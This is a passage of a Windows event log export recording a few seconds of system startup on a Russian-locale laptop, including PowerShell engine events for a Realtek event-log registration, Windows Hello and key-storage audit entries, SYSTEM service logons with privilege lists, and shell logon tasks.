\n\tProviderName=FileSystem\n\tNewProviderState=Started\n\n\tSequenceNumber=7\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=9f70008a-1e45-4e30-868f-4606c891c66e\n\tHostApplication=C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass New-EventLog -Source RtkAudUService -LogName Realtek\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:29:01.797\t600\t\"Provider \"\"Function\"\" is Started. \n\nDetails: \n\tProviderName=Function\n\tNewProviderState=Started\n\n\tSequenceNumber=9\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=9f70008a-1e45-4e30-868f-4606c891c66e\n\tHostApplication=C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass New-EventLog -Source RtkAudUService -LogName Realtek\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:29:01.797\t600\t\"Provider \"\"Variable\"\" is Started. \n\nDetails: \n\tProviderName=Variable\n\tNewProviderState=Started\n\n\tSequenceNumber=11\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=9f70008a-1e45-4e30-868f-4606c891c66e\n\tHostApplication=C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass New-EventLog -Source RtkAudUService -LogName Realtek\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:29:01.803\t400\t\"Engine state is changed from None to Available. \n\nDetails: \n\tNewEngineState=Available\n\tPreviousEngineState=None\n\n\tSequenceNumber=13\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=9f70008a-1e45-4e30-868f-4606c891c66e\n\tHostApplication=C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass New-EventLog -Source RtkAudUService -LogName Realtek\n\tEngineVersion=5.1.26100.9168\n\tRunspaceId=b4ac8dc4-2f88-4eea-a562-fe8eca0c95d0\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:29:01.807\t40962\tPowerShell console is ready for user input\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:29:01.810\t8002\t\"Successfully loaded an existing hardware Windows Hello container.\n\nID: {37b5cc48-d2d4-4aab-93e7-8e74ef7366bd}\nVersion: 1\nHas Cached Logon Key: true\nState: Okay\"\t16\tMicrosoft-Windows-HelloForBusiness/Operational\tMicrosoft-Windows-HelloForBusiness\n05.09.2026 08:29:01.854\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nProcess Information:\n\tProcess ID:\t\t9572\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:01.782937100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tUNKNOWN\n\tKey Name:\tMicrosoft Connected Devices Platform device certificate\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\WINDOWS\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\de7cf8a7901d2ad13e5c67c29e5d1662_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tRead persisted key from file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.855\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tMicrosoft Connected Devices Platform device certificate\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tOpen Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.856\t5059\t\"Key migration operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nProcess Information:\n\tProcess ID:\t\t9572\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:01.782937100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tMicrosoft Connected Devices Platform device certificate\n\tKey Type:\tUser key.\n\nAdditional Information:\n\tOperation:\tExport of persistent cryptographic key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.874\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.874\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.875\t1700\tSystem Migration Task Started.\tInformation\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Admin\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider\n05.09.2026 08:29:01.877\t1708\tImpersonation result. Result: (An attempt was made to reference a token that does not exist.).\tInformation\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Admin\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider\n05.09.2026 08:29:01.882\t1025\tA Power event was fired: BatterySaverStateChange [PowerEventType] false [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.883\t1025\tA Power event was fired: ACPowerChange [PowerEventType] true [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.883\t1025\tA Power event was fired: OpportunisticConnectedStandbyStateChange [PowerEventType] false [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.884\t1025\tA Power event was fired: MonitorSettingChange [PowerEventType] true [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.885\t1066\t\"Initialization status for service objects.\nC:\\WINDOWS\\system32\\sppwinob.dll, msft:spp/windowsfunctionality/agent/7.0, 0x00000000, 0x00000000\nC:\\WINDOWS\\system32\\sppobjs.dll, msft:rm/algorithm/inherited/1.0, 0x00000000, 0x00000000\nC:\\WINDOWS\\system32\\sppobjs.dll, msft:rm/algorithm/phone/1.0, 0x00000000, 0x00000000\nC:\\WINDOWS\\system32\\sppobjs.dll, msft:rm/algorithm/pkey/detect, 0x00000000, 0x00000000\nC:\\WINDOWS\\system32\\sppobjs.dll, msft:spp/ActionScheduler/1.0, 0x00000000, 0x00000000\nC:\\WINDOWS\\system32\\sppobjs.dll, msft:spp/TaskScheduler/1.0, 0x00000000, 0x00000000\nC:\\WINDOWS\\system32\\sppobjs.dll, msft:spp/statecollector/pkey, 0x00000000, 0x00000000\nC:\\WINDOWS\\system32\\sppobjs.dll, msft:spp/volume/services/kms/1.0, 0x00000000, 0x00000000\nC:\\WINDOWS\\system32\\sppobjs.dll, msft:spp/volume/services/kms/activationinfo/1.0, 0x00000000, 0x00000000\n\"\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:29:01.909\t1023\tNo internet connection available, ConnectWork is queued for next network status change.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.916\t8025\tThe Microsoft Passport Container service started successfully.\t16\tMicrosoft-Windows-HelloForBusiness/Operational\tMicrosoft-Windows-HelloForBusiness\n05.09.2026 08:29:01.922\t2102\t\"Ctap command completed.\n\nTransactionId: {ec5295cc-66be-4c4e-b2bb-2a8769b4eb95}\nResponse: \"\t16\tMicrosoft-Windows-WebAuthN/Operational\tMicrosoft-Windows-WebAuthN\n05.09.2026 08:29:01.941\t3006\tToast session creation is requested for C:\\Windows\\System32\\svchost.exe from endpoint 0x0.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.941\t3007\tToast session creation is finished for C:\\Windows\\System32\\svchost.exe from endpoint 0x0 with result The operation completed successfully., and 1 is assigned as session id.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.974\t263\tWDDM graphics mode is enabled\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.983\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:01.998\t61\tIs the Battery Saver state enabled: false\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:01.998\t62\tIs the device in connected standby: false\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:02.022\t63\tA provider, IntelMEProv, has been registered in the Windows Management Instrumentation namespace root\\Intel_ME to use the LocalSystem account. This account is privileged and the provider may cause a security violation if it does not correctly impersonate user requests.\tWarning\tApplication\tMicrosoft-Windows-WMI\n05.09.2026 08:29:02.030\t63\tA provider, IntelMEProv, has been registered in the Windows Management Instrumentation namespace root\\Intel_ME to use the LocalSystem account. This account is privileged and the provider may cause a security violation if it does not correctly impersonate user requests.\tWarning\tApplication\tMicrosoft-Windows-WMI\n05.09.2026 08:29:02.037\t63\tA provider, IntelMEProv, has been registered in the Windows Management Instrumentation namespace root\\Intel_ME to use the LocalSystem account. This account is privileged and the provider may cause a security violation if it does not correctly impersonate user requests.\tWarning\tApplication\tMicrosoft-Windows-WMI\n05.09.2026 08:29:02.058\t2\tIntel(R) WMI Registration Service has successfully finished WMI Registration.\tInformation\tApplication\tWMIRegistrationService\n05.09.2026 08:29:02.060\t8000\t\"Process Name: C:\\WINDOWS\\system32\\sihost.exe\nModule Name: C:\\WINDOWS\\SYSTEM32\\licensemanagerapi.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:02.127\t0\tService started successfully.\tInformation\tApplication\tSamsungQuickShareService\n05.09.2026 08:29:02.156\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.156\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.180\t403\t\"Engine state is changed from Available to Stopped. \n\nDetails: \n\tNewEngineState=Stopped\n\tPreviousEngineState=Available\n\n\tSequenceNumber=47\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=9f70008a-1e45-4e30-868f-4606c891c66e\n\tHostApplication=C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass New-EventLog -Source RtkAudUService -LogName Realtek\n\tEngineVersion=5.1.26100.9168\n\tRunspaceId=b4ac8dc4-2f88-4eea-a562-fe8eca0c95d0\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:29:02.182\t1003\t\"The Windows Search Service started.\n\"\tInformation\tApplication\tMicrosoft-Windows-Search\n05.09.2026 08:29:02.185\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x2240\n\tProcess Name:\t\tC:\\Windows\\System32\\SearchIndexer.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.187\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x2240\n\tProcess Name:\t\tC:\\Windows\\System32\\SearchIndexer.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.199\t8000\t\"Process Name: C:\\WINDOWS\\system32\\svchost.exe\nModule Name: C:\\WINDOWS\\SYSTEM32\\licensemanagerapi.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:02.201\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:02.216\t210\tCreated Desktop AppX container {245CDAF2-A8C9-11F1-B7FF-289200F24A99} for package MicrosoftWindows.Client.CBS_1000.26100.344.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:02.216\t211\tAdded process 9000 to Desktop AppX container 245cdaf2-a8c9-11f1-b7ff-289200f24a99 for package MicrosoftWindows.Client.CBS_1000.26100.344.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:02.220\t201\tCreated process 9000 for application MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeApp in package MicrosoftWindows.Client.CBS_1000.26100.344.0_x64__cw5n1h2txyewy. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:02.235\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.235\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.260\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.260\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.301\t62170\tLogon task 'AllLogonTasks' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.302\t62170\tLogon task 'PreRoamingTasks' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.302\t62170\tLogon task 'BackupRestoreCoordinator' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.302\t62171\tLogon task 'BackupRestoreCoordinator' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.302\t62170\tLogon task 'ShellPrep' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62443\tAppDefault Info: File Association hash version is still the same\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62171\tLogon task 'ShellPrep' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62170\tLogon task 'DefaultAssociations' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62170\tLogon task 'AppReadinessPreRoamingGroup' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62170\tLogon task 'AppReadinessPreShellGroup' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62170\tLogon task 'AppResolver' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62170\tLogon task 'SkydrivePrep' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62171\tLogon task 'SkydrivePrep' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62170\tLogon task 'RunOnce' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62170\tLogon task 'GetLanguageOverlayPackage' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.303\t62171\tLogon task 'GetLanguageOverlayPackage' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.305\t62443\tAppDefault Info: AppDefaults-Logon-UserProfileLoaded\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.305\t28125\tStarting to refresh app resolver cache for scenario 1 with flags 268.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.308\t62171\tLogon task 'DefaultAssociations' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.320\t62171\tLogon task 'RunOnce' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.320\t62170\tLogon task 'ActiveSetup' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.324\t62171\tLogon task 'ActiveSetup' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.324\t62170\tLogon task 'WaitForMSAConnected' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.324\t62171\tLogon task 'WaitForMSAConnected' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.324\t62170\tLogon task 'ClickToDoEligibility' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.324\t62170\tLogon task 'CacheUserEligibility' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.324\t62170\tLogon task 